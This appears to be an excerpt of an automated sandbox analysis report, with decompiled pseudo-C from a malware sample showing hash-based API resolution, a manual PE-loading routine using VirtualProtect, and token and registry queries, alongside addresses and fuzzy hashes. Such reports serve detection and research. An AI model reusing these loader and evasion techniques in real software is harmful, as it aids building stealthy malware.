0x70aa0dcc
0x70aa0dcc
0x70aa0dcc
0x70aa0dce
0x70aa0dda
0x70aa0ddf
0x70aa0de1
0x00000000
0x00000000
0x70aa0e2f
0x70aa0e30
0x70aa0e33
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x70aa0e33
0x70aa0de3
0x70aa0de7
0x70aa0dee
0x70aa0def
0x70aa0def
0x70aa0dca
0x70aa0db9
0x70aa0d92
0x70aa0d54
0x70aa0913
0x70aa0913
0x70aa0913
0x70aa0918
0x70aa091e
0x70aa091e
0x00000000
0x70aa0918
0x70aa090d
0x70aa08ad
0x70aa082b
0x70aa082b
0x70aa082c
0x70aa082d
0x70aa082d
0x70aa0ceb
0x70aa0ceb
0x70aa0cf5
0x70aa0cf5
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,D0443458,D0443458), ref: 70AA08FA
GetSystemInfo.KERNELBASE(?,4BCC7CBA,4BCC7CBA,?,?,F3453DD0,?,?,DB1D9B48,?,?,05411B30,00000000,80000002,00000000,-000000FC), ref: 70AA0CBC
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,00000000,D0443458,D0443458,00000000,D0443458,D0443458), ref: 70AA0D50

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken$InfoSystem
String ID:
API String ID: 298373132-0
Opcode ID: f79654f23686b9fe3c28ae69e71f67e89332a0b6284cd6955874bcd7f857ed09
Instruction ID: 16b9adf14e1a793ecd8091456648c44dcc6e4e59de5d2e42054aa7563bbf61b0
Opcode Fuzzy Hash: f79654f23686b9fe3c28ae69e71f67e89332a0b6284cd6955874bcd7f857ed09
Instruction Fuzzy Hash: BE22C3B0608341AEEB21DB34CA41FAF77E9AF99314F10892DB486971E9DB31EC45C752

Uniqueness

Uniqueness Score: -1.00%

Function 70AA218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E70AA218C(void* __ecx, intOrPtr __edx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v20;
				intOrPtr* _t5;
				intOrPtr _t11;
				intOrPtr* _t13;
				intOrPtr* _t15;

				_t11 = __edx;
				if(__ecx == 0) {
					 *_t15 = 0;
					_v4 = 0;
				} else {
					 *_t15 = E70AA3A34(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v20 = _t11;
				}
				_t5 = E70AA2F94(0xa5eabdf8, 0xd48281c0, 0xa5eabdf8, 0xa5eabdf8);
				_t13 = _t5;
				if(_t13 != 0) {
					_t5 =  *_t13(0, _t15); // executed
				}
				return _t5;
			}

0x70aa218c
0x70aa2190
0x70aa21ac
0x70aa21af
0x70aa2192
0x70aa21a1
0x70aa21a4
0x70aa21a4
0x70aa21bf
0x70aa21c4
0x70aa21c8
0x70aa21d0
0x70aa21d0
0x70aa21d4

APIs

NtDelayExecution.NTDLL(00000000,00000000,A5EABDF8,A5EABDF8,FFFFFFFF,FFFFFFFF,70A935C3,00000000,00000000,?), ref: 70AA21D0

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction ID: 52a417f86e317f639a850cc3e3eebd9ce605bfd3d217c7c7de471e2998e0ee57
Opcode Fuzzy Hash: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction Fuzzy Hash: 54E09BF050E3116DEB44972C8D01B2F7AE89F84251F20861DB596F72C8EA30D8104722

Uniqueness

Uniqueness Score: -1.00%

Function 70AA2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E70AA2790(void* __ecx, long __edx, void* __esi, long _a4, long _a8, void* _a12) {
				long _v4;
				void* _t8;
				long _t10;
				PVOID* _t19;

				_v4 = __edx;
				 *_t19 = __ecx;
				if(E70AA2F94(0xa5eabdf8, 0xc15ccc53, 0xa5eabdf8, 0xa5eabdf8) == 0) {
					L3:
					_t8 =  *_t19;
				} else {
					_t10 = NtAllocateVirtualMemory(_a12, _t19, 0,  &_v4, _a4, _a8); // executed
					if(_t10 == 0) {
						goto L3;
					} else {
						_t8 = 0;
					}
				}
				return _t8;
			}

0x70aa2797
0x70aa27a0
0x70aa27ae
0x70aa27d1
0x70aa27d1
0x70aa27b0
0x70aa27c7
0x70aa27cb
0x00000000
0x70aa27cd
0x70aa27cd
0x70aa27cd
0x70aa27cb
0x70aa27d6

APIs

NtAllocateVirtualMemory.NTDLL(A5EABDF8,?,00000000,22DC1034,00000004,00000004,A5EABDF8,A5EABDF8,?,?,70AA8852,00003000,00000004,000000FF,A5EABDF8,22DC1034), ref: 70AA27C7

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction ID: 151513189aac89ad29d5056e3b37bba71687daf0b40416d7f9bcafdc2e1600a9
Opcode Fuzzy Hash: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction Fuzzy Hash: 5FE030B120D342AFDB09CA28CC15E6FB7EDEF88200F108C1DB496D7594D771D9609B62

Uniqueness

Uniqueness Score: -1.00%

Function 70AA3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E70AA3060(intOrPtr* __ecx) {
				void* _t1;

				_push(E70AA33D8);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x70aa3060
0x70aa3065
0x70aa3067
0x70aa3069

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,70AA33D8,70AA3050,A5EABDF8,A5EABDF8,?,70A92530,00000001), ref: 70AA3067

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 7f1919d46adbb37d56cf30ba3349b66fc5af03b9bed49a4f6a6c6f6e9f635c8d
Instruction ID: 08ca22afa254b9aee25ba8668579dc492b9805cccacd56b60dcde2cbe2bcb1e8
Opcode Fuzzy Hash: 7f1919d46adbb37d56cf30ba3349b66fc5af03b9bed49a4f6a6c6f6e9f635c8d
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1962, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E00EA1962(long __ebx, void* __edi, long __esi, intOrPtr* _a4) {
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* _v72;
				char* _v76;
				int _v80;
				long _v84;
				long _v88;
				DWORD* _v92;
				intOrPtr _v96;
				int _v100;
				intOrPtr* _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				void* _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				char* _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				int _v164;
				intOrPtr _v168;
				char* _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char _v184;
				intOrPtr* _t137;
				int _t145;
				int _t153;
				int _t157;
				int _t178;
				intOrPtr _t217;
				intOrPtr _t219;
				void* _t226;
				intOrPtr _t229;
				void* _t236;
				intOrPtr* _t240;
				intOrPtr _t251;
				DWORD* _t265;
				void* _t269;
				intOrPtr* _t272;
				intOrPtr* _t273;

				_t137 = _a4;
				_v20 = 0;
				_t236 =  *((intOrPtr*)(_t137 + 0x38));
				 *0xea4418 = 1;
				asm("movaps xmm0, [0xea3010]");
				asm("movups [0xea4428], xmm0");
				_v48 = _t137;
				_v52 =  *((intOrPtr*)(_t137 + 0x28));
				_v56 =  *((intOrPtr*)(_v48 + 0x20));
				_v184 = _t236;
				_v60 =  *((intOrPtr*)(_v48 + 0xc));
				_v180 = _v56;
				_v176 = 4;
				_v172 =  &_v20;
				_v64 =  *((intOrPtr*)(_t137 + 0x14));
				_v68 = 4;
				_v72 = _t236;
				_v76 =  &_v20;
				_t145 = VirtualProtect(__edi, __esi, __ebx, _t265); // executed
				_v80 = _t145;
				_v184 = _v72;
				_v180 = 0;
				_v176 =  *((intOrPtr*)(_v48 + 0x20));
				_v84 = 0x400;
				_v88 = 2;
				_v92 =  &_v20;
				_v96 = 0;
				E00EA132D();
				E00EA16F4(_v72,  *((intOrPtr*)(_v48 + 4)), _v60);
				E00EA132D( *((intOrPtr*)(_v48 + 4)), 0, _v60);
				_t153 = VirtualProtect(_v72, 0x400, 2, _v92); // executed
				_t272 = _t269 - 0x88;
				_t226 = _v72;
				_t251 =  *((intOrPtr*)(_t226 + 0x3c));
				_v100 = _t153;
				_v104 = _v72 + 0x3c;
				_v108 = _t226;
				_v112 = _t251;
				if(_t251 != 0) {
					_v108 = _v72 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_v168 = _v108;
				if(_v64 != 0) {
					_v152 = _v168 + 0x18 + ( *(_v168 + 0x14) & 0x0000ffff);
					_v148 = 0;
					while(1) {
						_t217 = _v152;
						_v156 = _v148;
						_v184 = _v72 +  *((intOrPtr*)(_t217 + 0xc));
						_v180 =  *((intOrPtr*)(_t217 + 8));
						_v176 =  *((intOrPtr*)(0xea4418 + (( *(_t217 + 0x24) >> 0x0000001e & 0x00000001) << 4) + ( *(_t217 + 0x24) >> 0x1f << 3) + (( *(_t217 + 0x24) >> 0x0000001d & 0x00000001) << 2)));
						_v172 =  &_v20;
						_v160 = _t217;
						_t178 = VirtualProtect(??, ??, ??, ??); // executed
						_t272 = _t272 - 0x10;
						_t219 = _v156 + 1;
						_v164 = _t178;
						_v152 = _v160 + 0x28;
						_v148 = _t219;
						if(_t219 == _v64) {
							goto L4;
						}
					}
				}
				L4:
				 *_t272 = _v72;
				_v120 = _v72 +  *((intOrPtr*)(_v48 + 0x18));
				_t157 = DisableThreadLibraryCalls(??);
				_t273 = _t272 - 4;
				_t229 =  *_v104;
				_v140 = _t157;
				_v144 = _t229;
				_v116 = _v72;
				if(_t229 == 0) {
					L2:
					_t240 = _v48;
					_v44 =  *_t240;
					_v40 =  *((intOrPtr*)(_t240 + 0x2c));
					_v36 =  *((intOrPtr*)(_t240 + 8));
					_v32 =  *((intOrPtr*)(_t240 + 0x34));
					_v28 =  *((intOrPtr*)(_t240 + 0x40));
					_v24 = _v120;
					 *_t273 = _t240;
					_v184 = 0;
					_v180 = 0x5c;
					_v124 =  *((intOrPtr*)(_v116 + 0x28));
					_v128 = 0;
					_v132 = 0x5c;
					_v136 =  &_v44;
					E00EA132D();
					if(_v124 != 0) {
						goto __eax;
					}
					return 1;
				} else {
					_v116 = _v72 + (_v144 + 0x0000ffff & 0x0000ffff) + 1;
					goto L2;
				}
			}

0x00ea196e
0x00ea197c
0x00ea1983
0x00ea1986
0x00ea1990
0x00ea1997
0x00ea19a1
0x00ea19a7
0x00ea19b0
0x00ea19b9
0x00ea19bc
0x00ea19c2
0x00ea19c6
0x00ea19ce
0x00ea19d5
0x00ea19d8
0x00ea19db
0x00ea19de
0x00ea19e1
0x00ea19fb
0x00ea1a01
0x00ea1a04
0x00ea1a0c
0x00ea1a10
0x00ea1a13
0x00ea1a16
0x00ea1a19
0x00ea1a1c
0x00ea1a38
0x00ea1a55
0x00ea1a7a
0x00ea1a7c
0x00ea1a85
0x00ea1a88
0x00ea1a92
0x00ea1a95
0x00ea1a98
0x00ea1a9b
0x00ea1a9e
0x00ea1cab
0x00ea1cab
0x00ea1c88
0x00ea1c8e
0x00ea1c6e
0x00ea1c74
0x00ea1b5e
0x00ea1b64
0x00ea1b7b
0x00ea1ba9
0x00ea1bac
0x00ea1bb0
0x00ea1bb4
0x00ea1bbb
0x00ea1bc1
0x00ea1bc3
0x00ea1bcc
0x00ea1bdd
0x00ea1be3
0x00ea1be9
0x00ea1bef
0x00000000
0x00000000
0x00ea1bf5
0x00ea1b5e
0x00ea1b17
0x00ea1b25
0x00ea1b2d
0x00ea1b30
0x00ea1b32
0x00ea1b38
0x00ea1b44
0x00ea1b4a
0x00ea1b50
0x00ea1b53
0x00ea1aa9
0x00ea1ab9
0x00ea1abe
0x00ea1ac4
0x00ea1aca
0x00ea1ad0
0x00ea1ad6
0x00ea1adc
0x00ea1adf
0x00ea1ae2
0x00ea1aea
0x00ea1af2
0x00ea1af5
0x00ea1af8
0x00ea1afb
0x00ea1b01
0x00ea1b0c
0x00ea1c2e
0x00ea1c2e
0x00ea1c54
0x00ea1b59
0x00ea1c12
0x00000000
0x00ea1c12

APIs

VirtualProtect.KERNELBASE ref: 00EA19E1
VirtualProtect.KERNELBASE ref: 00EA1A7A

Strings

\, xrefs: 00EA1AEA

Memory Dump Source

Source File: 00000003.00000002.486757202.0000000000EA0000.00000040.00000001.sdmp, Offset: 00EA0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: \
API String ID: 544645111-2967466578
Opcode ID: 127b6f724f045f6ec2147b5c68f95a6c500e2bfabcf387c5199cadd4e3dba087
Instruction ID: 4afddc88b09f69042c2b9988ee6d5b8e82b3187f20d4c50fa4b8364c4cfc9071
Opcode Fuzzy Hash: 127b6f724f045f6ec2147b5c68f95a6c500e2bfabcf387c5199cadd4e3dba087
Instruction Fuzzy Hash: ED919AB4E042188FCB04CF99C580A9DFBF1BF8D310F2585AAE959AB352D734A945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1B5E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00EA1BC1

Strings

\, xrefs: 00EA1AEA

Memory Dump Source

Source File: 00000003.00000002.486757202.0000000000EA0000.00000040.00000001.sdmp, Offset: 00EA0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: \
API String ID: 544645111-2967466578
Opcode ID: 25db94bd1eb26e74abeb405ba454607ac0b9a9da7232b1a5a8f52d2195cb9352
Instruction ID: dcc951459878834634c89a9245fec326c5641229ed474561d505df793ba7dd2f
Opcode Fuzzy Hash: 25db94bd1eb26e74abeb405ba454607ac0b9a9da7232b1a5a8f52d2195cb9352
Instruction Fuzzy Hash: DA51AFB5E002298FDB14CF69C980A9DFBB1BF4C314F2581A9D958AB312D331AE51CF90

Uniqueness

Uniqueness Score: -1.00%

Function 70AA1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E70AA1140(void* __ecx, void* __edi, void* __esi) {
				long _v12;
				void* _v20;
				void* _v24;
				char _v32;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v64;
				int _t31;
				void* _t33;
				long* _t39;
				intOrPtr* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				long* _t59;

				_t59 = _t58 - 0x20;
				_t56 = __ecx;
				_v12 = 0;
				_t46 = E70AA2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t46 != 0) {
					 *_t46(_t56, 8,  &_v12);
				}
				_t39 = _t59;
				 *_t39 = _v12;
				_t39[1] = 1;
				if(E70A9C33C(_t39) != 0) {
					L6:
					if(_t59[1] != 0) {
						E70A9BC00(_t59);
					}
					return 0;
				} else {
					_t59[6] = 0;
					if(E70AA2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) != 0) {
						GetTokenInformation(_v40, 0x19, 0, 0,  &(_t59[6])); // executed
					}
					_t24 = _t59[6];
					if(_t59[6] != 0) {
						E70A9F620( &_v32, _t24);
						_t54 = E70A9F558( &(_t59[3]), 0);
						if(E70AA2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
							L14:
							E70A9F6F0( &_v32);
							goto L6;
						} else {
							_t31 = GetTokenInformation(_v40, 0x19, _t54, _t59[7],  &(_t59[6])); // executed
							if(_t31 == 0) {
								goto L14;
							} else {
								_t33 = E70AA2F94(0xd0443458, 0x57bf3274, 0xd0443458, 0xd0443458);
								if(_t33 == 0) {
									goto L14;
								} else {
									_push( *_t54);
									asm("int3");
									return _t33;
								}
							}
						}
					} else {
						goto L6;
					}
				}
			}

0x70aa1142
0x70aa114f
0x70aa1151
0x70aa1160
0x70aa1164
0x70aa116e
0x70aa116e
0x70aa1174
0x70aa1177
0x70aa1179
0x70aa1184
0x70aa11be
0x70aa11c3
0x70aa11c8
0x70aa11c8
0x70aa11d4
0x70aa1186
0x70aa1190
0x70aa11a3
0x70aa11b4
0x70aa11b4
0x70aa11b6
0x70aa11bc
0x70aa11da
0x70aa11ea
0x70aa1201
0x70aa12e3
0x70aa12e7
0x00000000
0x70aa1207
0x70aa1217
0x70aa121b
0x00000000
0x70aa1221
0x70aa122d
0x70aa1234
0x00000000
0x70aa123a
0x70aa123a
0x70aa123c
0x70aa123d
0x70aa123d
0x70aa1234
0x70aa121b
0x00000000
0x00000000
0x00000000
0x70aa11bc

APIs

GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 70AA11B4
GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 70AA1217

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 7a4abf89f69caeab31725cfb3405cbab53949632181ba08c362a512e6942b9e7
Instruction ID: 0f27388995c8f1675a9ea6e892df6c4771e4a3ef54255477dff3ecfd72f8f763
Opcode Fuzzy Hash: 7a4abf89f69caeab31725cfb3405cbab53949632181ba08c362a512e6942b9e7
Instruction Fuzzy Hash: 7821ADB06082427EEB05DA28CD00FAF66ED9FD5200F10C92CB546D72E8EF35D819C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 70AA5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E70AA5720(void* __ecx, char* _a4, intOrPtr _a8) {
				int _v16;
				int _v20;
				intOrPtr _t11;
				int* _t12;
				int _t13;
				void* _t23;
				char* _t35;
				int* _t38;

				_push(_t34);
				_t23 = __ecx;
				_t11 =  *((intOrPtr*)(__ecx + 4));
				if(_t11 == 0 || _t11 == 0xffffffff) {
					_t12 = 1;
				} else {
					_t12 = 0;
				}
				if(_t12 != 0) {
					L10:
					_t13 = 0;
				} else {
					_t35 = _a4;
					if(_t35 == 0 ||  *_t35 != 0) {
						_v20 = 0;
						_v16 = 0;
						if(E70AA2F8C(0xd0443458, 0x91134e46) != 0) {
							RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, 0,  &_v16); // executed
						}
						_t15 = _v16;
						if(_v16 != 0) {
							E70A9F8C4(_a8, _t15);
							if(E70AA2F8C(0xd0443458, 0x91134e46) != 0) {
								RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, E70A9F558(_a8, 0),  &_v20); // executed
							}
							_t13 = _v20;
						} else {
							goto L10;
						}
					} else {
						goto L10;
					}
				}
				return _t13;
			}

0x70aa5724
0x70aa5725
0x70aa5727
0x70aa572c
0x70aa5733
0x70aa5737
0x70aa5737
0x70aa5737
0x70aa573b
0x70aa5781
0x70aa5781
0x70aa573d
0x70aa573d
0x70aa5743
0x70aa574c
0x70aa574f
0x70aa5766
0x70aa5777
0x70aa5777
0x70aa5779
0x70aa577f
0x70aa578a
0x70aa57a2
0x70aa57c2
0x70aa57c2
0x70aa57c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x70aa5743
0x70aa57cc

APIs

RegQueryValueExA.KERNELBASE(?,70AAD1F8,00000000,?,00000000,00000000,?,?,?,70AAD1F8,?,70AA57F3,?,00000000,00000000), ref: 70AA5777
RegQueryValueExA.KERNELBASE(?,70AAD1F8,00000000,?,00000000,00000000,00000000,00000000,?,?,?,70AAD1F8,?,70AA57F3,?,00000000), ref: 70AA57C2

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 6176993d9a9b30409a881c427cb38c14bedfb1e8cdeae41883cd70893d08fd07
Instruction ID: 9e6c73d1a8b6355ad6a4d3dc6edd596eff8fdcf07be4be299daa362ebedb2757
Opcode Fuzzy Hash: 6176993d9a9b30409a881c427cb38c14bedfb1e8cdeae41883cd70893d08fd07
Instruction Fuzzy Hash: 6611B1B1208305FFEA169E35DC80E6FB7ECDF85664F00481DF485A7188DA20EC0096A9

Uniqueness

Uniqueness Score: -1.00%

Function 70AA5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E70AA5AA8(WCHAR** __ecx, void* __edx, intOrPtr _a4, long _a8, long _a12) {
				char _v24;
				void* __esi;
				void* _t16;
				void* _t21;
				void* _t24;
				void* _t29;
				long _t37;
				void* _t38;
				long _t39;
				WCHAR** _t40;
				intOrPtr* _t56;
				WCHAR** _t58;
				char* _t64;
				void* _t65;
				long _t66;

				_push(0);
				_push(_t62);
				_t66 = _t65 - 0x10;
				_t58 = __ecx;
				_t37 = _a8;
				if(E70A9D288(__ecx, 0x2f) != 0) {
					_t62 = _t66;
					E70A9D78C(__ecx, _t66);
					E70A9D0B4(_t58,  *_t66);
					E70A9D098(_t66);
				}
				if(_t37 == 0) {
					_t70 = _a4 - 1;
					if(_a4 != 1) {
						__eflags = _a4 - 4;
						_t37 = (0 | _a4 == 0x00000004) + 2;
						__eflags = _t37;
					} else {
						_t37 = 1;
					}
				}
				E70AA621C(_t70);
				if(_a4 <= 5) {
					goto __eax;
				}
				_t62 = 0;
				if(_t37 != 2) {
					_t16 = 3;
					__eflags = _t37 - 1;
					_t38 = 0;
					_t39 =  ==  ? _t16 : _t38;
				} else {
					_t39 = 1;
				}
				if(E70AA2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t29 = CreateFileW( *_t58, 0, _t39, 0, _t62, _a12, 0); // executed
					_push(_t29);
				}
				_t40 =  &(_t58[3]);
				E70A9C328(_t40);
				if(E70A9C33C(_t40) != 0) {
					_t58[2] = E70AA352C(0);
					_t21 = 0;
					goto L19;
				} else {
					if(_a4 == 2) {
						_t56 = E70AA2F8C(0x4bcc7cba, 0xceed09cc);
						__eflags = _t56;
						if(_t56 != 0) {
							 *_t56( *_t40, 0, 0, 2);
						}
					}
					_t64 =  &_v24;
					E70AA35D4(_t64, 0xff, 8);
					_t66 = _t66 + 0xc;
					_t24 = E70AA2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t24 == 0) {
						_t21 = 1;
						__eflags = 1;
						L19:
						return _t21;
					} else {
						_push(_t64);
						_push(_t64);
						_push(0);
						_push( *_t40);
						asm("int3");
						return _t24;
					}
				}
			}

0x70aa5aa8
0x70aa5aab
0x70aa5aac
0x70aa5aaf
0x70aa5ab1
0x70aa5abe
0x70aa5ac2
0x70aa5ac6
0x70aa5ad0
0x70aa5ad7
0x70aa5ad7
0x70aa5ade
0x70aa5ae0
0x70aa5ae5
0x70aa5aee
0x70aa5af6
0x70aa5af6
0x70aa5ae7
0x70aa5ae9
0x70aa5ae9
0x70aa5ae5
0x70aa5afb
0x70aa5b07
0x70aa5b1d
0x70aa5b1d
0x70aa5c38
0x70aa5b75
0x70aa5b7e
0x70aa5b7f
0x70aa5b84
0x70aa5b85
0x70aa5b77
0x70aa5b79
0x70aa5b79
0x70aa5b9b
0x70aa5baf
0x70aa5b9d
0x70aa5baa
0x70aa5bac
0x70aa5bac
0x70aa5bb1
0x70aa5bb6
0x70aa5bc4
0x70aa5c2f
0x70aa5c32
0x00000000
0x70aa5bc6
0x70aa5bcb
0x70aa5c18
0x70aa5c1a
0x70aa5c1c
0x70aa5c26
0x70aa5c26
0x70aa5c1c
0x70aa5bcd
0x70aa5bd9
0x70aa5bde
0x70aa5beb
0x70aa5bf2
0x70aa5bfe
0x70aa5bfe
0x70aa5bff
0x70aa5c06
0x70aa5bf4
0x70aa5bf4
0x70aa5bf5
0x70aa5bf6
0x70aa5bf8
0x70aa5bfa
0x70aa5bfb
0x70aa5bfb
0x70aa5bf2

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4320caef24931563c8bf3ff7cfbc7e49af268141d14fa41b7838df1be49aa3f
Instruction ID: cb80e2318a44cad8414b4f8f4e517e341da20f14d00cc2e9ff05133e9ca4f31a
Opcode Fuzzy Hash: f4320caef24931563c8bf3ff7cfbc7e49af268141d14fa41b7838df1be49aa3f
Instruction Fuzzy Hash: B731E4B1744306AEDF112A758D86F3F76EAEB85245F10492CF942A70DEEE619C18C239

Uniqueness

Uniqueness Score: -1.00%

Function 70AA5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E70AA5B51(void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t21;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t32;
				WCHAR** _t33;
				long _t37;
				void* _t39;
				void* _t40;

				_t33 = __edi;
				if(__edx != 0) {
					_t37 = 3;
					if(_t21 != 2) {
						_t7 = 3;
						_t22 = 0;
						_t23 =  ==  ? _t7 : _t22;
					} else {
						_t23 = 1;
					}
					if(E70AA2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
						_push(0);
					} else {
						_t20 = CreateFileW( *_t33, 0x80000000, _t23, 0, _t37, _a44, 0); // executed
						_push(_t20);
					}
					_t24 =  &(_t33[3]);
					E70A9C328(_t24);
					if(E70A9C33C(_t24) != 0) {
						_t33[2] = E70AA352C(0x80000000);
						_t12 = 0;
						goto L14;
					} else {
						if( *((intOrPtr*)(_t40 + 0x24)) == 2) {
							_t32 = E70AA2F8C(0x4bcc7cba, 0xceed09cc);
							if(_t32 != 0) {
								 *_t32( *_t24, 0, 0, 2);
							}
						}
						_t39 = _t40 + 8;
						E70AA35D4(_t39, 0xff, 8);
						_t40 = _t40 + 0xc;
						_t15 = E70AA2F8C(0x4bcc7cba, 0xaaa9bb);
						if(_t15 == 0) {
							_t12 = 1;
							goto L14;
						} else {
							_push(_t39);
							_push(_t39);
							_push(0);
							_push( *_t24);
							asm("int3");
							return _t15;
						}
					}
